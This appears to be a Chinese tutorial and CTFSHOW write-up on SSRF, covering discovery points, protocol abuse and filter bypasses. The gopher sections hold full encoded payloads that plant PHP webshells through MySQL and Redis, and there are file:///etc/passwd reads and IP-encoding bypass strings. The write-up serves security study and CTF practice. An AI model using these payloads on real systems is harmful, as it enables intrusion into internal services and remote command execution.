057-Web攻防-SSRF&Demo源码&Gopher项目等

知识点

知识点:

1、SSRF-原理-外部资源加载

2、SSRF-利用-伪协议&无回显

3、SSRF-挖掘-业务功能&URL参数

案例演示

1、SSRF-原理&挖掘&利用&修复

2、白盒 CTF-绕过&伪协议&审计点

3、黑盒 WEB-业务功能&URL 关键字

SSRF-原理&挖掘&利用&修复

什么是SSRF

漏洞原理:SSRF(Server-Side Request Forgery:服务器端请求伪造) ,一种由攻击者构造形成由服务端发起请求的一个安全漏洞;一般情况下,SSRF攻击的目标是从外网无法访问的内部系统

SSRF形成的原因

正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制

image-20250519203804355

image-20250519203843876

SSRF漏洞挖掘

黑盒探针

一、业务功能点:

  1. 社交分享功能:获取超链接的标题等内容进行显示
  2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
  3. 在线翻译:给网址翻译对应网页的内容
  4. 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
  5. 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
  6. 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
  7. 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
  8. 数据库内置功能:数据库的比如mongodb的copyDatabase函数
  9. 邮件系统:比如接收邮件服务器地址
  10. 编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
  11. 未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

特征:对数据进行了接受,并且对数据进行了功能性操作

二、URL关键参数

  1. share
  2. wap
  3. url
  4. link
  5. src
  6. source
  7. target
  8. u
  9. display
  10. sourceURl
  11. imageURL
  12. domain
白盒分析:代码审计 对(文件读取,加载,数据操作类的函数)进行检测
  1. http:// Web常见访问,如http://127.0.0.1?url=http://127.0.0.1/flag.php 拿到flag(常用)

image-20250610084456175

  1. file:/// 从文件系统中获取文件内容,如,file:///etc/passwd file:///var/www/html/flag.php(常用)

image-20250610090132568

  1. dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info dict://127.0.0.1:端口 (常用)

image-20250610103526072

sftp:// SSH文件传输协议或安全文件传输协议

ftp协议 (扫描端口极其好用)

ldap:// 轻量级目录访问协议

tftp:// 简单文件传输协议

gopher:// 分布式文档传递服务,可使用gopherus生成payload(常用)

由于有部分协议http这类不支持,可以gopher来进行通讯(mysql,redis等)

分布式文档传递服务,可使用gopherus生成payload
有部分服务是http协议不支持通讯的,那么可以用gopher来进行通讯(如mysql,redis服务等)
应用:漏洞利用 或 信息收集 通讯相关服务的时候 工具:Gopherus

  1. 应用:漏洞利用 或 信息收集 通讯相关服务的时候 工具:Gopheru

SSRF绕过方式

-限制为http://www.xxx.com 域名
采用http基本身份认证的方式绕过,即@

http://www.xxx.com@www.xxyy.com

-限制请求IP不为内网地址

当不允许ip为内网地址时:

(1)采取短网址绕过

(2)采取域名解析

(3)采取进制转换

(4)采取3XX重定向

白盒CTF-绕过&伪协议&审计点

练习环境:CTFSHOW SSRF 白盒

351-无过滤直接获取

  1. 利用url接受并处理POST方式,没有任何过滤

  2. 两种方法

    • 利用服务器自己访问本地文件url=http://127.0.0.1/flag.php
    • 利用file协议从文件系统中获取flag url=file:///var/www/html/flag.php一般文件默认地址
image-20250529094540796 image-20250529094858169 image-20250529095334976 image-20250529095311509

351-351iP地址进制绕过

  1. 从代码里面看到这里对127.0.0进行了过滤
  2. 这里采用进制转换的方式绕过 url=http://2130706433/flag.php
image-20250529095702356 image-20250529101713344 image-20250529101810898

八进制
url=http://0177.0.0.1/flag.php

10 进制全部转换
url=http://2130706433/flag.php

十六进制(需要添加上0x)
0x的目的是为了表示后面的数是十六进制,在编程里面一般都要加入,用来区别十进制数
url=http://0x7F.0.0.1/flag.php

还有一种特殊的省略模式
127.0.0.1写成127.1

用CIDR绕过localhost
url=http://127.127.127.127/flag.php

还有很多方式
url=http://0/flag.php
url=http://0.0.0.0/flag.php

354-域名解析IP绕过

  1. 这里对localhost和1跟0进行了过滤
  2. 域名解析绕过 test.xiaodi8.com -> 127.0.0.1
  3. url=http://test.xiaodi8.com/flag.php
image-20250529103103828

f9dfa3ba96e61f357f004b2752f6e873

7a2c1a2bea9df89943490921555463c3

![8be3b82824fc346714e7eafc2b43a183 (1)](C:\Users\liuyuanbiao\Desktop\BlogPhoto\8be3b82824fc346714e7eafc2b43a183 (1).png)

8be3b82824fc346714e7eafc2b43a183

355-356长度限制IP绕过

  1. 这里代码对传入的ip地址长度进行了限制 不能大于5
  2. http://0/ 实际上是 http://0.0.0.0/ 的一种表示方法
  • 0被解析为0.0.0.0
  • 0.0.0.0 被认为是 本地回环接口或监听所有地址(根据上下文不同)
image-20250529110836924 image-20250529111128190
  1. 这里关和上面一样只不过这里的长度限制改为了3
  2. 在POST data传入 url=http://0/flag.php绕过

image-20250529111547683

357-利用重定向解析绕过

  1. 这关通过gethostbyname解析域名对应的ip地址但是 不能为127.0.0.1否则会进入if判断

  2. 在服务器上面创建文件保存为xx.php内容如下

  3. <?php
    header("Location:http://127.0.0.1/flag.php"); 
    其作用是:当执行该脚本时,会直接跳转到对应的网址,即Location: 后面的网址。
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27

    4. 使用POST data传入url=http://47.94.236.117/xx.php

    ![image-20250529111754830](/img/image-20250529111754830.png)

    ![0d97ee831343fbb5409acbd735609aba](C:\Users\liuyuanbiao\Desktop\BlogPhoto\0d97ee831343fbb5409acbd735609aba./img/png)





    #### **358-匹配且不影响写法解析**

    1. 这关preg_match对传入的url进行了匹配必须有http: ctf: show

    2. 我们这里POST data传入http://ctf.@127.0.0.1/flag.php#show

    * 为啥浏览器能识别这个 URL?

    * ```
    scheme://[userinfo@]host[:port]/path[?query][#fragment]
    协议: http
    用户名:ctf
    主机名:127.0.0.1
    路径: /flag.php
    片段: #show

    * `ctf.@127.0.0.1` 中的 `ctf.` 被浏览器解析为 **用户名(user info)** * `@` 之后的 `127.0.0.1` 是 **主机地址** * `#show` 是 **URL 片段(fragment)**,浏览器用来跳转锚点,不会发到服务器 * 浏览器会把这个请求发送给 `http://127.0.0.1/flag.php` * **不会**真的尝试登录 `ctf` 用户 * **不会**发出 `#show` 给服务器(这是客户端解析用的) * 所以它访问的是本地 `127.0.0.1` 上的 `/flag.php`

image-20250529124047993

image-20250529125143205

359-360利用gopher协议打服务

前置知识

  1. 访问demo01/xss/xss.php?x=alert(%27xss%27)触发xss漏洞

  2. 将这个http://demo01/xss/xss.php?x=%3Cscript%3Ealert(%27xss%27)%3C/script%3E代码放到ssrf.php下面也能执行xss 原因是这里走的都是http协议让服务器访问提交的地址等同于触发xss的代码 但是有的漏洞走的不是http协议

  3. 假设`http://demo01/xss/xss.php是个内网地址,只要有ssrf漏洞服务器就可以访问,利用他当跳板去访问其他内网主机并进行相关漏洞利用

  4. 但是服务器有redis和mysqli服务就不能使用http协议了 这个时候就得用上gopher

    • 什么是 Gopher 协议?

    • gopher:// 是一种过时的文本协议(早期 Web 设计),大多数人已经不用它了。

    • 但在 SSRF 利用中,它非常有用

      它允许你精准控制请求内容(比 http:// 更低层、更自由),可以用于伪造 TCP 数据包。

      • 假设后端开放了 Redis 服务(6379 端口),可以用 SSRF + Gopher 伪造 Redis 协议,写入恶意数据:

      • 目标:写入 Redis 命令,达到 Webshell 注入或命令执行

      • gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aSET%0d%0a$5%0d%0atest%0d%0a$5%0d%0ahello%0d%0a
        会发出 Redis 协议:
        *3
        $3
        SET
        $5
        test
        $5
        hello
        相当于执行命令:SET test hello
        
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        42
        43
        44
        45
        46
        47
        48
        49
        50
        51
        52
        53
        54
        55
        56
        57
        58
        59
        60
        61
        62
        63
        64
        65
        66
        67
        68
        69
        70
        71
        72
        73
        74
        75
        76
        77
        78
        79
        80
        81
        82
        83
        84
        85
        86
        87
        88
        89
        90
        91
        92
        93
        94

        *

        ![image-20250529140736021](/img/image-20250529140736021.png)

        <img src="/img/image-20250529141111117.png" alt="image-20250529141111117" style="zoom:33%;" />

        ![image-20250529140935049](/img/image-20250529140935049.png)



        ---

        1. 这里题目已经很明显了告诉我们打redis
        2. 这里使用工具Gopherus 生成payload 参考: [Gopherus工具的下载、使用](https://blog.csdn.net/weixin_68416970/article/details/139440201)
        3. 使用 工具Gopherus 在var/www/html/cmd.php 下写入一句话木马<?php eval($_POST[cmd]);?>
        4. 这里还会进行一次url解码所以我们要再进行一次url编码 最终为
        5. 经过BP抓包确定路径为check.php,参数为returl,POST传参
        6. 然后访问cmd.php文件,确定写入成功
        7. cmd=system("tac /flag.txt")即可获取flag

        > returl=gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254a%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2563%256d%2564%255d%2529%253b%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2563%256d%2564%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501



        ![image-20250529175523566](/img/image-20250529175523566.png)

        ![image-20250529161558557](/img/image-20250529161558557.png)

        ![image-20250529222511786](/img/image-20250529222511786.png)

        ![image-20250529222558594](/img/image-20250529222558594.png)

        ![image-20250529222610814](/img/image-20250529222610814.png)





        **360打redis**

        1. 用工具生成payload redis都有默认的直接回车就好了
        2. 然后对payload进行一次url编码
        3. 这里是是用POST方式 url传递参数
        4. 访问shell.php执行命令即可

        > url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A



        <img src="/img/image-20250530105224572.png" alt="image-20250530105224572" style="zoom:50%;" />

        <img src="/img/image-20250530105327190.png" alt="image-20250530105327190" style="zoom:50%;" />



        ![image-20250530105430299](/img/image-20250530105430299.png)

        ![05d568a271f23936b21e49fc8c6570a1](C:\Users\liuyuanbiao\Desktop\BlogPhoto\05d568a271f23936b21e49fc8c6570a1./img/png)



        ### 黑盒WEB-业务功能&URL关键字

        黑盒探针

        1. 访问loclhost和127.0.0.1后发现出来的页面不一样
        2. 可能存在ssrf漏洞

        ![image-20250530115736216](/img/image-20250530115736216.png)

        ![fcbc75f9ec712e32f92f29bdc505ff70](C:\Users\liuyuanbiao\Desktop\BlogPhoto\fcbc75f9ec712e32f92f29bdc505ff70./img/png)





        **案例演示**

        ![img](https://i-blog.csdnimg.cn/blog_migrate/b6f7391b77a2dd69e15187b23c5ac6be.png)

        ![37b0f0406a960588652daa38143f37dc](C:\Users\liuyuanbiao\Desktop\BlogPhoto\37b0f0406a960588652daa38143f37dc./img/png)





        ssrfpdf

        1. 在本地创建一个pdf文档 里面写上js代码·
        2. 当应用时如果里面的代码被触发并且dnslog有内容 就代表ssrf存在

        iframe标签